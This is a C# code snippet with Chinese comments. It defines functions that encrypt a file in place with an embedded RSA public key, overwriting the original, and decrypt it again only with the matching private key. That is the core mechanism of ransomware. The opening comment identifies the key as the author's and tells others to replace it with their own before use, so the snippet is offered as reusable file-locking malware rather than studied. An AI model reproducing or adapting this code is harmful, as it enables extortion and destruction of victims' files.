//加密代碼，注意會覆蓋原文件，里面有我的公鑰，你要用時記得覆蓋我的公鑰private bool encryptFile(string filename){FileStream f;try{f = new FileStream(filename, FileMode.Open, FileAccess.ReadWrite, FileShare.Read);}catch{return false;}Random r = new Random();Thread.Sleep(10*r.Next(3,8));RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(1024);rsa.FromXmlString("<RSAKeyValue><Modulus>w7nNT8U7kwTw8UqLk0lROxmfTRZnQrMH1QrNyUGtoeAJ3w+iH08j+h83cPWxwPoxpXm1cgCLFWtCFWY1rkQDCCLxJhUIwYTbGKTg9h0uUVfNxGiNji7dcHShd01UYpZjHCwOar1wjJD4vJqVJCk++59UUMhE9IUATuSUVpRy1bE=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>");//導入密鑰byte[] data = new byte[16];ArrayList con = new ArrayList();while(f.Read(data, 0, 16)!=0){byte[] result = rsa.Encrypt(data,false);//Thread.Sleep(10 * r.Next(2, 7));con.Add(result);}//加密f.Seek(0, SeekOrigin.Begin);foreach(byte[] d in con){f.Write(d, 0, d.Length);}f.Close();return true;} //解密代碼，覆蓋原文件，返回值表示是否解密成功private bool decryptFile(string filename,string key){FileStream f;try{f = new FileStream(filename, FileMode.Open, FileAccess.ReadWrite, FileShare.Read);}catch{return false;}RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(1024);try{rsa.FromXmlString(key);}catch{return false;}byte[] data = new byte[128];ArrayList con = new ArrayList();while (f.Read(data, 0, 128) != 0){byte[] result;try{result = rsa.Decrypt(data, false);}catch{return false;}con.Add(result);}//解密f.SetLength(con.Count * 16);f.Seek(0, SeekOrigin.Begin);foreach (byte[] d in con){f.Write(d, 0, d.Length);}f.Close();return true;}

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